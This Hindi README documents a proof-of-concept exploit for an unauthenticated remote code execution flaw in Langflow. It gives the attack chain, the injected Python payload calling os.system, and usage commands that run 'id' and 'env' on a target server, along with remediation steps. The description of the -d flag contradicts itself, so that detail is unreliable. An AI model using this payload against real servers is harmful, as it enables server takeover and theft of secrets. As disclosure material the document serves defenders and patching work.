CVE-2026-33017 - Langflow अनधिकृत रिमोट कोड निष्पादन (RCE)

अवलोकन

CVE ID: CVE-2026-33017
प्रभावित सॉफ़्टवेयर: Langflow असुरक्षित संस्करण: <= 1.8.2 ठीक किया गया संस्करण: >= 1.9.0 गंभीरता: गंभीर
लेखक: arensballiu
दिनांक: 2026

विवरण

Langflow एक सार्वजनिक फ़्लो बिल्ड एंडपॉइंट (/api/v1/build_public_tmp/{flowID}/flow) को उजागर करता है जो मनमाने CustomComponent कोड ब्लॉक स्वीकार करता है और उन्हें बिना प्रमाणीकरण के सर्वर-साइड निष्पादित करता है। एक CustomComponent नोड के code फ़ील्ड में दुर्भावनापूर्ण Python पेलोड इंजेक्ट करके, एक अनधिकृत हमलावर Langflow सर्वर प्रक्रिया के विशेषाधिकारों के साथ मनमाने ऑपरेटिंग सिस्टम कमांड चला सकता है।

हमला श्रृंखला पहले /api/v1/auto_login एंडपॉइंट का दुरुपयोग करती है, जो क्रेडेंशियल की आवश्यकता के बिना बियरर टोकन जारी करता है जब Langflow अपने डिफ़ॉल्ट ऑटो-लॉगिन कॉन्फ़िगरेशन में चल रहा होता है। फिर यह उस टोकन का उपयोग एक अस्थायी सार्वजनिक फ़्लो बनाने और बिल्ड एंडपॉइंट के माध्यम से सर्वर-साइड कोड निष्पादन को ट्रिगर करने के लिए करती है।

एक docker फ़ाइल शामिल है जो langflow स्थापित और चल रहे एक docker इंस्टेंस को बनाती है।

प्रभावित एंडपॉइंट

एंडपॉइंट	विधि	प्रमाणीकरण आवश्यक	उद्देश्य
`/api/v1/auto_login`	GET	नहीं	बियरर टोकन प्राप्त करें (ऑटो-लॉगिन सक्षम होना चाहिए)
`/api/v1/flows/`	POST	हाँ (Bearer)	एक नया फ़्लो बनाएँ
`/api/v1/build_public_tmp/{flowID}/flow`	POST	नहीं (सार्वजनिक)	बिल्ड ट्रिगर करें - असुरक्षित निष्पादन बिंदु
`/api/v1/flows/{flowID}`	DELETE	हाँ (Bearer)	बनाए गए फ़्लो को साफ़ करें

प्रूफ़ ऑफ़ कॉन्सेप्ट

फ़ाइल: CVE-2026-33017_POC.py

आवश्यकताएँ

Python 3.x
requests लाइब्रेरी
ऑटो-लॉगिन सक्षम के साथ चल रहे Langflow इंस्टेंस तक नेटवर्क पहुँच

pip install requests

उपयोग

python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

आर्ग्युमेंट्स

फ़्लैग	लंबा रूप	आवश्यक	विवरण
`-u`	`--url`	हाँ	Langflow इंस्टेंस का बेस URL
`-c`	`--command`	हाँ	सर्वर पर निष्पादित करने के लिए OS कमांड
`-d`	`--delete`	नहीं	शोषण के बाद बनाए गए फ़्लो को हटाएँ

उदाहरण

कोड निष्पादन सत्यापित करें:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

सर्वर पर्यावरण चर प्राप्त करें:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

शोषण के बाद प्रवाह को जीवित रखें (क्लीनअप छोड़ें):

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

अपेक्षित आउटपुट

[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

पेलोड विश्लेषण

एक्सप्लॉइट CustomComponent नोड के code फ़ील्ड में निम्नलिखित Python स्निपेट इंजेक्ट करता है:

from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"

__import__('os').system(...) - os मॉड्यूल को गतिशील रूप से आयात करता है और सर्वर पर हमलावर द्वारा दिए गए शेल कमांड को निष्पादित करता है।
क्लास परिभाषा का शेष भाग एक वैध CustomComponent है जो Langflow के कंपोनेंट लोडर को पार्स त्रुटि उत्पन्न किए बिना संतुष्ट करने के लिए आवश्यक है।
फ़्लो को PUBLIC के रूप में बनाया जाता है और बिल्ड एंडपॉइंट को उसके सार्वजनिक एंडपॉइंट पर आमंत्रित किया जाता है, जिसका अर्थ है कि निष्पादन को ट्रिगर करने के लिए किसी सत्र कुकी या प्रमाणीकरण टोकन की आवश्यकता नहीं है।

मूल कारण

Langflow की CustomComponent प्रणाली फ़्लो परिभाषा के भाग के रूप में मनमाने Python कोड को सबमिट करने की अनुमति देती है। /api/v1/build_public_tmp/{flowID}/flow एंडपॉइंट इस कोड को सर्वर-साइड पर बिल्ड और आंशिक रूप से मूल्यांकन करता है, जिसमें मॉड्यूल-स्तरीय कथन भी शामिल हैं, बिना सैंडबॉक्सिंग या __import__ जैसे Python बिल्ट-इन्स तक पहुँच को प्रतिबंधित किए।

आक्रमण श्रृंखला सारांश

1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

सभी चार चरण एक अनाम हमलावर द्वारा डिफ़ॉल्ट Langflow डिप्लॉयमेंट के विरुद्ध किए जा सकते हैं।

उपचार

Langflow को संस्करण 1.9.0 या उससे ऊपर अपग्रेड करें।
किसी भी इंटरनेट-फेसिंग डिप्लॉयमेंट में ऑटो-लॉगिन अक्षम करें (LANGFLOW_AUTO_LOGIN=false)।

अस्वीकरण

यह प्रूफ़ ऑफ़ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस स्क्रिप्ट का उपयोग अवैध और अनैतिक है। लेखक और योगदानकर्ता दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते हैं।

CVE-2026-33017-langflow-rce

सबसे लोकप्रिय